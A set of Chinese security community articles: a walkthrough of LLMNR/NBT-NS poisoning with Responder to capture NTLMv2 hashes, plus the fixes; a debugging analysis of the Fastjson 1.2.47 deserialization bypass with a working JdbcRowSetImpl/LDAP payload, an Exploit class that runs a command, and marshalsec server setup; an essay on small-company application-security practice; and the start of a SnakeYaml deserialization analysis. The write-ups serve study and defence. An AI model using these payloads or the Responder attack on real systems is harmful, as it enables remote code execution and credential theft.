通过侦听LLMNR和NetBIOS广播，攻击者可以伪装成受害者（客户端）要访问的目标机器，从而让受害者乖乖交出相应的登陆凭证。在接受连接后，攻击者可以使用Responder.py或Metasploit等工具将请求转发到执行身份验证过程的流氓服务（如SMB
TCP：137）。
在身份验证过程中，受害者会向流氓服务器发送用于身份认证的NTLMv2哈希值，这个哈希值将被保存到磁盘中，之后就可以使用像Hashcat或John
Ripper（TJR）这样的工具在线下破解，或直接用于 pass-the-hash攻击。
在Windows中，LLMNR和NBT-NS是默认启用的，并且了解这种攻击的人很少，所以我们可以在内部渗透测试中利用该攻击来收集凭据。为此，我们可以在使用其他攻击手段进行测试的过程中，可以让Responder.py一直运行着。
**Linux和苹果用户是否受该攻击的影响？**
是的，Linux和苹果客户端也使用类似的协议，即多播DNS（mDNS），该协议会监听TCP：5353端口。有关mDSN的更多信息，请参阅mDNS的维基百科页面。
典型的LLMNR / NetBIOS名称服务器攻击
下图显示了用户因为无法解析服务器名称而遭受这种攻击的典型场景。
**攻击过程详解**
1\. 用户发送不正确的SMB共享地址\ SNARE01
2\. DNS服务器响应\SNARE01 – NOT FOUND
3\. 客户端进行LLMNR / NBT-NS广播
4\. 响应者告诉客户端它是SNARE01并接受NTLMv2哈希值
5\. 响应者将错误发送回客户端，因此最终用户如果不是精于此道的话，通常不会引起警觉
**实例：使用Kali＆Responder.py**
下面，我们通过一个实际例子来演示此攻击的危害性：使用Kali Linux和Responder.py在内部渗透测试期间从网络捕获用户凭据。
从github安装最新版本的responder软件：
root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.74 KiB | 0 bytes/s, done.
Resolving deltas: 100% (577/577), done.
运行Responder.py，使用您的本地接口和IP地址，具体如下所示：
root@kali:~# cd Responder/
root@kali:~/Responder# python Responder.py -i 192.168.210.145 -I eth0
这样就可以启动Responder.py了:
Responder.py运行后，我们模拟一个用户键入错误的SMB服务器名称，比如使用SNARE01而不是SHARE01。
下面，从客户端计算机输入错误SMB服务器名称：
注意：实验室环境中的客户端计算机是Windows 2008 Server R2
在客户端广播不正确的服务器名称的几秒钟时间内，Responder.py就完成了对这个广播请求的应答，并将NTLMv2哈希值写入了硬盘。
最后一步是破解NTLMv2哈希值，这一步成功与否取决于目标环境中的密码策略的复杂性，这可能需要等待一些时间。
当密码策略是已知的，或者怀疑密码安全性较高的时候，ocl-hashcat将是离线破解的上上之选。由于在测试实验室环境中我们故意使用了不安全的密码，因此这里使用john来破解NTLMv2哈希值：
**如何保护网络免受LLMNR / NBT-NS中毒攻击**
好消息是：这种攻击是相当容易预防的。注意，为此需要禁用LLMNR和NetBIOS名称服务，如果您只禁用LLMNR的话，则Windows将无法解析的名称转移到NetBIOS名称服务器以进行解析。
**禁用NetBIOS名称服务**
似乎没有办法使用GPO来禁用NetBIOS名称服务（如果你知道的话，请在回复中告诉我们！），其手册说明如下所示。
1\. 请依次打开：控制面板网络和Internet 网络连接
2\. 右键单击网络接口，选择属性，双击“Internet Protocol Version 4 TCP/IPv4”
3\. 在下一个屏幕上，单击高级，然后选择WINS选项卡
4\. 单击“Disable NetBIOS over TCP/IP”旁边的单选按钮
具体操作，请参阅下面的屏幕截图：
**禁用LLMNR**
幸运的是，您可以使用GPO来禁用LLMNR，具体如下所示：
1\. Start => Run => gpedit.msc
打开“Local Computer Policy”=>“Computer Configuration”=>“Administrative
Templates”=>“Network”=>“DNS Client”
2\. 单击“Turn Off Multicast Name Resolution”，并将其设置为“Enabled”
**小结**
本文介绍了一种经典的内部网络攻击方法，虽然这种方法由来已久，但是由于了解这种攻击的人非常少，另外由于相关设置在Windows中是默认启用的，所以到目前为止，这种攻击手段仍然行之有效。 | 社区文章 |
# Fastjson <1.2.48 入门调试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
fastjson反序列化已经是近几年继Struts2漏洞后，最受安全人员欢迎而开发人员抱怨的一个漏洞了。
目前分析Fastjson漏洞的文章很多，每次分析文章出来后，都是过一眼就扔一边了。正好最近在学习反序列化的内容，对<1.2.48版本的漏洞再做一次分析，借鉴和学习了很多大佬的文章，
这次尽量自己来做
## 环境搭建
使用Idea搭建一个空的maven项目，并且添加1.2.47版本的依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
</dependencies>
新建一个`com.example`的`Package`并在其目录下创建一个`FastjsonExp`的类
//FastjsonExp.java
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonExp {
public static void main(String[] args) {
String payload="{n" +
" "rand1": {n" +
" "@type": "java.lang.Class", n" +
" "val": "com.sun.rowset.JdbcRowSetImpl"n" +
" }, n" +
" "rand2": {n" +
" "@type": "com.sun.rowset.JdbcRowSetImpl", n" +
" "dataSourceName": "ldap://localhost:8088/Exploit", n" +
" "autoCommit": truen" +
" }n" +
"}";
JSON.parse(payload);
}
}
在`java`目录新建一个`Exploit.java`,并编译
//Exploit.java
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec("galculator");
}
}
在编译的`Exploit.class`类下，开启一个HTTP服务`python -m SimpleHTTPServer`
使用`marshalsec`创建一个ldap接口:
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:8000/#Exploit" 8088`
至此，环境搭建完毕
## 报错
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:162)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:124)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:1078)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1283)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:384)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:544)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1356)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1322)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.example.FastjsonExp.main(FastjsonExp.java:29)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:110)
... 14 more
Caused by: java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 19 more
## 调试
在报错的各个文件处，先设断点:
首先进入的是`JSON.java`下的`public static Object parse(String text)`，
此时`DEFAULT_PARSER_FEATURE=989`
接着是
//features=989, ParserConfig.getGlobalInstance()=
public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}
`ParserConfig.getGlobalInstance()`如下:`com.alibaba.fastjson.parser.ParserConfig`
其中`deserializers`变量为`IdentityHashMap`类，有一些可反序列化的类名，还可以看到`autoTypeSupport=false`
及定义的`denyHashCodes`，即黑名单配置
在`public static Object parse(String text, ParserConfig config, int
features)`函数中
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
首先声明了一个`DefaultJSONParser`,并调用其`parse`函数，所以主要的工作应该都是在这里完成的.
初始化类时，先加载了一些基础类：
static {
Class<?>[] classes = new Class[] {
boolean.class,
byte.class,
...
String.class
};
for (Class<?> clazz : classes) {
primitiveClasses.add(clazz);
}
}
调用`parser.parse()`后, 继续调用了`parse(Object fieldName)`函数
//DefaultJSONParser.java
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
case SET:
lexer.nextToken();
HashSet<Object> set = new HashSet<Object>();
parseArray(set, fieldName);
return set;
case TREE_SET:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet<Object>();
parseArray(treeSet, fieldName);
return treeSet;
case LBRACKET:
JSONArray array = new JSONArray();
parseArray(array, fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}
return array;
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
// case LBRACE: {
// Map<String, Object> map = lexer.isEnabled(Feature.OrderedField)
// ? new LinkedHashMap<String, Object>()
// : new HashMap<String, Object>();
// Object obj = parseObject(map, fieldName);
// if (obj != map) {
// return obj;
// }
// return new JSONObject(map);
// }
case LITERAL_INT:
Number intValue = lexer.integerValue();
lexer.nextToken();
return intValue;
case LITERAL_FLOAT:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken();
return value;
case LITERAL_STRING:
String stringLiteral = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
try {
if (iso8601Lexer.scanISO8601DateIfMatch()) {
return iso8601Lexer.getCalendar().getTime();
}
} finally {
iso8601Lexer.close();
}
}
return stringLiteral;
case NULL:
lexer.nextToken();
return null;
case UNDEFINED:
lexer.nextToken();
return null;
case TRUE:
lexer.nextToken();
return Boolean.TRUE;
case FALSE:
lexer.nextToken();
return Boolean.FALSE;
case NEW:
lexer.nextToken(JSONToken.IDENTIFIER);
if (lexer.token() != JSONToken.IDENTIFIER) {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.LPAREN);
accept(JSONToken.LPAREN);
long time = ((Number) lexer.integerValue()).longValue();
accept(JSONToken.LITERAL_INT);
accept(JSONToken.RPAREN);
return new Date(time);
case EOF:
if (lexer.isBlankInput()) {
return null;
}
throw new JSONException("unterminated json string, " + lexer.info());
case HEX:
byte[] bytes = lexer.bytesValue();
lexer.nextToken();
return bytes;
case IDENTIFIER:
String identifier = lexer.stringVal();
if ("NaN".equals(identifier)) {
lexer.nextToken();
return null;
}
throw new JSONException("syntax error, " + lexer.info());
case ERROR:
default:
throw new JSONException("syntax error, " + lexer.info());
}
}
其中`this.lexer`为`JSONScanner`类，如下:
`lexer.token()=12`, JSONToken中定义如下: 即`lexer.token='{'`
public final static int ERROR = 1;
//
public final static int LITERAL_INT = 2;
//
public final static int LITERAL_FLOAT = 3;
//
public final static int LITERAL_STRING = 4;
//
public final static int LITERAL_ISO8601_DATE = 5;
public final static int TRUE = 6;
//
public final static int FALSE = 7;
//
public final static int NULL = 8;
//
public final static int NEW = 9;
//
public final static int LPAREN = 10; // ("("),
//
public final static int RPAREN = 11; // (")"),
//
public final static int LBRACE = 12; // ("{"),
//
public final static int RBRACE = 13; // ("}"),
//
public final static int LBRACKET = 14; // ("["),
//
public final static int RBRACKET = 15; // ("]"),
//
public final static int COMMA = 16; // (","),
//
public final static int COLON = 17; // (":"),
//
public final static int IDENTIFIER = 18;
//
public final static int FIELD_NAME = 19;
public final static int EOF = 20;
public final static int SET = 21;
public final static int TREE_SET = 22;
public final static int UNDEFINED = 23; // undefined
public final static int SEMI = 24;
public final static int DOT = 25;
public final static int HEX = 26;
继续调用在`case LBRACE:`分支: `lexer.isEnabled(Feature.OrderedField)=false`
//
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
继续调用`parseObject(object, fieldName);`在其中声明了一个循环，来扫描字符串
Map map = object instanceof JSONObject ? ((JSONObject) object).getInnerMap() : object;
boolean setContextFlag = false;
for (;;) {
如果判断目前的`char='"'`,那么即将获取的为`key`
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
获取`key`后判断是否有默认的`DEFAULT_TYPE_KEY`即：`[@type](https://github.com/type "@type")`
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}
继续判断是否为`$ref`
if (key == "$ref"
&& context != null
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
在判断完`key`后， 进入设置content的环节
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
继续调用，解析嵌套对象, 此时`key=rand1`
if (!objParsed) {
obj = this.parseObject(input, key);
}
解析，嵌套对象时，此时获取的`key=[@type](https://github.com/type "@type")`, 满足`key ==
JSON.DEFAULT_TYPE_KEY`， 判断条件`lexer.isEnabled(Feature.IgnoreAutoType)=false`.
此时`object`对象为`JSONObject`而`typeName=java.lang.Class`,
所以进入了`config.checkAutoType`分支， `lexer.getFeatures()=989`
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
## checkAutoType
在`ParserConfig`文件中, 其`checkAutoType`函数有多个判断条件, 第一个条件为`typeName`的长度在3-128之间，
第二个判断条件， 为是否支持的类型， 通过了一个计算：
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
if (autoTypeSupport || expectClass != null) {
...
//这里会使用二分法来查询白名单，和黑名单，但是这里被绕过了，
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
在判断完以后，接着去检测是否在map里，这里应该是参考文章提到的缓存
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
在`mapping`对象中，未找到的话，调用
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
此时进入了`IdentityHashMap`类，即前边提到的`ParserConfig.getGlobalInstance()`中`deserializers`的类
相当于配置白名单。 根据调试，第一个`[@type](https://github.com/type
"@type")`对象的`java.lang.Class`中`deserializers.findClass(typeName)`返回，
继续扫描字符串
在第`377`行： `ObjectDeserializer deserializer = config.getDeserializer(clazz);`
跟进后在 objVal这一行， 获取了值`com.sun.rowset.JdbcRowSetImpl`
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
继续下去是一些类型的判断如`URI.class`， `File.class`等 ，最后在`clazz==Class.class`这里
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
其中`strVal`为`com.sun.rowset.JdbcRowSetImpl`。
在`TypeUtil.loadClass`中, 判断不是`[`和`L`开头的字符串后，进行下面的分支，
此时如果`cache`为`true`的话，那么就将该类放到`mapping`对象中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
而在`TypeUtils`中，调用该函数时, `cache`默认为`true`
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
继续上述的过程，在判断`rand2`时，同样到了`clazz = config.checkAutoType(typeName, null,
lexer.getFeatures());`
此时由上一步的`mapping.put`， 在这里获取到了`class`类， 为`com.sun.rowset.JdbcRowSetImpl`
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
并且`class!=null`且`expectClass==null`， 直接`return
clazz`,并未走到最后的`if(!autoTypeSupport)`分支，绕过了
接着进入了第一步设置的断点处
JavaBeanDeserializer.java
protected Object parseRest(DefaultJSONParser parser
, Type type
, Object fieldName
, Object instance
, int features
, int[] setFlags) {
Object value = deserialze(parser, type, fieldName, instance, features, setFlags);
return value;
}
在下列的循环中，遍历`fieldInfo`的值，如果在字符串有的，配置了变量的值
String typeKey = beanInfo.typeKey;
for (int fieldIndex = 0;; fieldIndex++) {
String key = null;
FieldDeserializer fieldDeser = null;
FieldInfo fieldInfo = null;
最后调用到`fieldDeserializer.parseField(parser, object, objectType, fieldValues);`
进入`DefaultFieldDeserializer.java`类，其`parseField`函数中，在最后调用的是
if (object == null) {
fieldValues.put(fieldInfo.name, value);
} else {
setValue(object, value);
}
此时`object`为：`jdbcRowSetImpl`类，而`value`为`ldap://localhost:8080/Exploit`
继续下一轮，当这里为`fieldInfo.name=autoCommit`而`value=true`时，
在`FieldDeserializer`类中，调用其`setValue`函数，最后会执行到
method.invoke(object, value);
此时`method`=`setAutoCommit`, `value`=`true`
进入`jdbcRowSetImpl`类，其`this.conn`为`null`,
且`dataSource`=`ldap://localhost:8088/Exploit`
执行`this.connect()`会请求到恶意的`ldap`地址，造成命令执行
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
## 至此，分析完毕
总结: 因为用了两次`[@type](https://github.com/type
"@type")`类型，第一次的时候`java.lang.Class`未在黑名单中，且通过序列化，将`jdbcRowSetImpl`类添加至了`mappings`对象，其作用是缓存，
在第二次解析到`[@type](https://github.com/type "@type")`对象时，
直接在`mappings`对象中获取了类，从而绕过了黑名单的检测
导致了这一漏洞的发生。
## 参考
<http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47> | 社区文章 |
# 企业安全应用安全实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是花生，某安全团队包工头，经过多年的探索，探索了一套适合当前企业的应用安全实践方法论。希望通过文章可以给中小企业团队提供一些建设经验（大厂轻喷）。
团队介绍：当前应用安全5人，1人主攻白盒代码扫描（规则优化+运营），2人负责评审测试，1人负责团队产品架构、开发相关、数据安全等各种业务，1枚小鲜肉实习生目前熟悉业务中。待招数据安全1名，如有年底观望机会的小伙伴，可与我联系。我们的团队属于小而精，紧张有序的进行日常工作。附近的大厂（某旅游龙头）每组大概10人的配额，安全部门大概50人左右。一般安全团队大概分有基础安全、数据安全、安全运营、安全开发、合规、业务安全、蓝军等等，每个公司都有独有的架构设计。人员配备和公司业务正相关，业务越大，需要的安全人员越多，业界安全的配比大概是1~3%区间（安全人员和总人数比），各个公司可能不大一样。我们团队除数据安全岗外，团队其他成员均掌握一门编程语言，可定制开发小工具，为平台安全建设添砖加瓦！经过安全团队三年努力，在产品、研发、测试、安全通力合作下，形成了适合当前业务的sdlc流程。因所列每一项，展开都可以书写文章，文章将以蜻蜓点水式介绍建设经验。同时致敬以前团队成员，因为有你我的努力，才有了现在的成果，感恩一起奋斗的日子，愿你在新的征途一切顺利！先上整体导图抛砖引玉，欢迎各路大佬指导交流~
总体导图
## 一、主动介入
### 1.SDLC流程
SDL流程图
**1.1 项目评审**
产品同事设计prd完成后，会召集测试、研发、安全参加需求宣讲会了解需求，安全部门经过评审，会将相应风险邮件告知产品、研发，在设计阶段提供规避安全建议。同时为解决人员不足、产品快速迭代可能遗漏的情况，安全团队会从配齐发布系统、jira项目中获取项目信息，做平台展示提供给负责同事查看，如需安全评审、测试，会将项目信息同步（自动化）到应用安全项目管理中，并将相关风险评估信息录入项目中，提测日会发送邮件通知责任人跟进。经过多年的磨合，新业务、新产品研发设计阶段研发同事也会邀请安全同事参与研发设计评审，共同从源头抓产品安全，为公司、客户提供安全可靠的产品服务。风险评估流程如下图：
风险评估
为方便业务及时（24h）获取风险评估，我们开发了自助风险评估功能，适应快速的产品迭代，需求方可根据设计需求选择相应功能，系统会根据功能提供相应风险项，评估结束提供报告下载，业务方可参照建议提前规避风险。
自助风险评估
**1.2 安全测试**
为了便于统计、查看（统计），我们开发了工单模式记录追踪安全测试项目，达到测试时间系统会自动邮件提醒责任人并抄送安全组，项目负责人会根据需求文档有的放矢做针对性测试，提升测试效率。为应对快速迭代的项目发布，在人员紧缺的情况，我们制定如下测试规则：如遇新项目、大项目，可多人协作测试；小项目、迭代等单人负责测试。尽最大努力满足业务安全测试需求。同时团队内部积极开发安全工具，提供被动扫描程序和bp插件等，提升测试效率和精准度。在洞态iast问世后，团队积极探索洞态IAST，部署测试环境试运营，目前功能磨合中，待测试环境运营成功，将会推动测试环境全接入，此举将大幅度减轻安全测试压力。待成功之日分享iast实践经历~
**1.3 黑盒扫描**
因当前业务接口模式居多，且黑盒扫描较重，黑盒扫描当前仅作为辅助方式，上线前会对资产（域名、ip）做黑盒扫描，上线后会进行周期性扫描。黑盒扫描包括常规安全监测（XSS、sql注入、LFI等）、POC扫描（300+检测脚本）、知名漏扫工具、端口扫描。所有功能均为团队内部开发。此处先一笔带过，后续会在周期性扫描重点介绍。
**1.4 白盒代码扫描**
白盒扫描v1版采用cobra扫描，经过3年的运营取得了一定成果，但误报率一直居高不下。经过团队探讨，决定尝试使用semgrep扫描工具替代，目前两套扫描同时运行，规则优化以semgrep为主，经过数月的探索，取得了一定的成果。
当前白盒流程：白盒扫描–>漏洞确认–>通知责任人–>修复–>验证通过–>处理完结
白盒运营
**1.5API 接口管理**
因业务现均以api方式提供服务，且多数api接口是提供给app使用，抓包和爬虫均会有遗漏，存在漏测的可能，为减少漏测，安全团队需要掌握所有接口数据。经过和兄弟部门沟通，测试部门的接口压测平台拥有完整的接口数据信息。经测试团队和安全团队合作，安全团队每天拉取接口数据，将相应数据发送至接口扫描队列扫描，同时根据接口返回数据标记敏感字段，以便识别敏感api供数据安全评审。接口扫描业务接入初期，取得了很好的成果。同时，为了减少脏数据的产生，我们平台增加了扫描白名单功能，如有写数据接口，可一键加白（不扫描），减少脏数据，减少对测试工作的影响。
接口管理
**1.6 安全培训**
安全部门提供在线漏洞说明及定期安全意识培训，提升员工安全意识。2021年举办了安全周，通过邀请外部专家讲座、有奖问答、观看安全视频等途径，提升全员安全意识。同事集团每年均会有安全培训考核，督促全员安全知识学习。
### 2.周期扫描
周期扫描采用分布式节点通过授权key访问扫描任务redis，扫描节点获取任务后，定时将扫描状态、结果同步至应用安全平台。扫描任务获取：产线环境通过抓取内部cmdb数据，每天发送扫描1次；办公环境通过部署探测节点，每天扫描存活ip发送扫描1次。扫描包括端口、常规漏洞扫描（xss/sqli等）、poc扫描+一款知名漏扫工具，均已集成平台，可在平台下发任务，及时获取最新扫描信息。
资产管理
当发现漏洞时，会将相应的信息录入漏洞管理，同时邮件通知相应责任人和直属领导，并自动同步相应信息至jira创建工单，并在漏洞周期内完成追踪，完成漏洞生命周期管理闭环。
漏洞管理
同时，团队内部不断自驱完善平台功能，提升各项功能自动化覆盖率，减少重复工作，提高工作幸福感。
自动化填充功能（例）
## 二、辅助发现
### 1.信息获取
背景介绍：当前所有产品需求均通过jira发起，经过审核后进入研发流程，项目测试、发布均通过测试部门配齐系统。因现有流程采用敏捷开发模式，业务可选择性安全测试，同时应用安全会拉取jira、配齐数据，做项目信息监控。如发现需要做测试项目，会创建安全测试项目并邮件发送相关责任人。
监控项目 | 子项 | 备注
---|---|---
JIRA需求管理 | 研发项目 | 评审是否需要安全评审、测试
域名申请 | 及时获取资产信息并扫描
提测工单管理 | 统一管理安全测试需求
配齐发布需求管理 | 获取最新发布项目 | 补充途径评审是否需要安全测试
Github监控 | 监控代码泄露 | 集成开源hawkeye
APP安全 | APP自动化加固、签名 | 自研加固、发布对接流程
APP安全扫描 | Mobsf二次开发（辅助app隐私合规监测）
漏洞预警 | 及时获取最新漏洞信息，并预警 | CNNVD
Seebug
阿里云
公众号
2.定期内部攻防演练
团队每半年进行一次内外部攻防演练，模拟外部攻击内外部系统。每次演练指定项目负责人，通过团队信息共享、思维碰撞、协作，提升团队整体安全能力和公司安全水平。及时查漏补缺，防患于未然。
### 3.数据统计
因当前系统功能越来越多，大屏数据展示便于及时发现异常，团队可及时排查保证稳定可靠的安全服务，并且大屏数据是展示安全成果的很好途径，也方便领导视察~
一次逛菜市场，看到了菜市场交易数据总览，先看看菜场关注那些指数。
菜市场大屏
安全大屏展示项：半年度、年度漏洞级别数量；资产信息（域名、ip等）、API（接口）数量、安全测试项目数量，每日域名扫描工单、安全扫描工单、白盒扫描量、黑扫扫描量、App加固数据；每日API扫描数量信息；近期项目信息提醒；漏洞数量分布，漏洞类型分布。
这些数据均是安全关注的指标数据，此外我们还开发了漏洞统计看板，任务看板，方便追踪任务。其中任务看板包含项目扫描信息、接口扫描信息、周期扫描信息、白盒扫描以及各类扫描的修复率，驱动负责人及时完成漏洞闭环。
安全大屏（数据为虚拟）
总结：中小企业安全建设需要服务业务、适配业务，需不断摸索最佳实践。每个公司情况可能都不一样，可以通过交流学习实现符合公司的安全模式。大厂有数量众多的安全人员，完善的安全制度和流程，是中小企业学习的标榜。中小企业安全团队紧凑，人员紧缺及复用的情况比较普遍，对业务上线要求也相应灵活，需从多角度去思考总结经验，照搬可能无法推进，适合公司的才是最好的。笔者当前服务的公司base上海，欢迎各路大神交流学习，更欢迎江浙沪的伙伴喝茶聊天，我的邮箱she11code##qq.com(##替换为@即可)，欢迎交流。
感谢聆听，下一期给大家分享数据安全建设相关经验，敬请期待~ | 社区文章 |
## 简介
SnakeYaml是Java用于解析Yaml（Yet Another Markup Language）格式数据的类库,
它提供了dump方法可以将一个Java对象转为Yaml格式字符串,
其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了自定义的序列化/反序列化。
本文若有错误还望斧正。
## 漏洞利用
你可以使用Maven导入SnakeYaml依赖：
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
简单的JNDI注入示例：
## 漏洞分析
从 `org.yaml.snakeyaml.Yaml#load`开始动态调试, 调用重载方法, 实例化StreamReader对象.
前面为一些对象的初始化操作 无需关注, 重点跟进 `getSingleData`方法即可。
调用 `BaseConstructor#constructDocument`方法传入node对象, 其包含了解析的YAML字符串信息
通过Node对象的getTag方法获取Tag对象再调用getClassName方法获取YAML字符串中的类名,
`Constructor#getClassForName`方法获取类的类对象,
`getClassForName`中调用的`Class#forName`获取的类对象, 这里就不跟进了。
在 `Constructor$ConstructMapping#construct`中会调用父类
`BaseConstructor#newInstance`方法, 在该方法中通过
`JdbcRowSetImpl`类的Class获取无参构造器并调用newInstance方法返回实例对象。
跟进到 `Constructor$ConstructMapping#constructJavaBean2ndStep`中, property.set是关键：
图中的getWriteMethod方法会返回属性对应的setter方法的Method对象（）,
通过调用Method对象的invoke方法即实现了调用JavaBean的setter方法。
至于怎么获取对象属性对应的Method的可以debug看看这一部分内容, 调用栈我会贴在下方。
>
> <init>:66, MethodProperty (org.yaml.snakeyaml.introspector)
> getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector)
> getProperty:309, Constructor$ConstructMapping
> (org.yaml.snakeyaml.constructor)
> constructJavaBean2ndStep:230, Constructor$ConstructMapping
> (org.yaml.snakeyaml.constructor)
> construct:171, Constructor$ConstructMapping
> (org.yaml.snakeyaml.constructor)
> construct:331, Constructor$ConstructYamlObject
> (org.yaml.snakeyaml.constructor)
> constructObjectNoCheck:229, BaseConstructor
> (org.yaml.snakeyaml.constructor)
> constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
> constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
> getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
> loadFromReader:490, Yaml (org.yaml.snakeyaml)
> load:416, Yaml (org.yaml.snakeyaml)
> main:9, YamlTest (org.vulhub.yaml)
JdbcRowSetImpl的Gadget会在其 `autoCommit`属性的setter方法中触发,
SnakeYaml反序列化还有比较经典的Gadget是使用SPI加载远程Jar包或class。
## SPI
Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。
当服务的提供者提供了一种接口的实现之后, 需要在classpath下 `META-INF/services`目录里创建一个以服务接口命名的文件,
